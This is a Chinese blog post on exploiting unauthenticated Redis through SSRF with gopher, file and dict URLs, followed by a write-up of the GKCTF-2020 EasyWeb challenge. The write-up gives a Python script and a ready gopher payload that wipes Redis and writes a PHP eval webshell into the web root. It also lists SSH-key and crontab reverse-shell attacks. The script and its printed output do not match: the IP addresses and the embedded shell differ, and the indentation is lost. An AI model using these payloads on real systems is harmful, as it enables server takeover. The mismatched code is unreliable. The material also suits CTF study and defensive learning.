浅谈SSRF与redis及其相关问题

什么是Redis

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库。和Memcached类似,它支持存储的value 类型相对更多,包括 string(字符串)、list ( 链表)、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希类型)。这些数据类型都支持push/pop 、 add/remove 及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上, redis支持各种不同方式的排序。与 memcached 一样,为了保证效率,数据都是缓存在内存中。区别的是 redis 会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了 master-slave ( 主从)同步。

Redis漏洞

Redis会因为配置不当而产生漏洞。
Redis默认监听端口为 0.0.0.0:6379,默认没有设置密码认证,这意味着redis服务器暴漏在公网并且可以被操作。
Redis未授权漏洞利用情况有如下几种
1.敏感数据泄露
2.写shell
3.把公钥写入authorized_keys,可以登录主机。(需要Redis以root权限运行)
4.contrab反弹shell

Redis漏洞利用

对于未授权访问的情况,可以获取到Redis服务器ip后在本地远程连接Redis服务器,也可以构造数据包向Redis服务器发送恶意代码。

SSRF与各种协议

SSRF全程为 Server-Side-Request-Forgery 服务器端请求伪造,即为通过服务器对内网资源进行一些请求,可以进行文件读取,内网扫描、主机探测、漏洞利用等活动。

Gopher协议

Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它。
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,再构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
gopher协议格式:URL: gopher://:/_UrlEncodedTCPStream

file协议

curl支持file协议,可以通过file协议LFI。file:///etc/passwd

dict协议

curl支持dict协议,可以通过dict协议探测服务信息。
curl dict://127.0.0.1:22

例题

GKCTF-2020 EasyWeb
这道题拿到手没啥思路 看到源码提示了secret之后发现是ifconfig
然后就使用burp扫一下内网,发现一台173.187.36.11这台服务器的报错是redis的报错。
然后爆破扫一下端口,发现是默认的6379。
接下来考虑SSRF打内网未授权Redis。
EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import urllib
protocol="gopher://"
ip="173.216.189.11"
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

替换url和payload即可
生成payload为

1
gopher://173.187.36.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

然后访问http://redis_ip/shell.php即可getflag

参考链接

https://www.redteaming.top/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/
https://www.gem-love.com/ctf/2361.html#EZ%E4%B8%89%E5%89%91%E5%AE%A2EzNode
https://zhuanlan.zhihu.com/p/112055947
https://www.freebuf.com/column/158065.html
https://www.freebuf.com/vuls/162035.html
https://www.smi1e.top/gopher-ssrf%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91%E5%BA%94%E7%94%A8%E5%A4%8D%E7%8E%B0/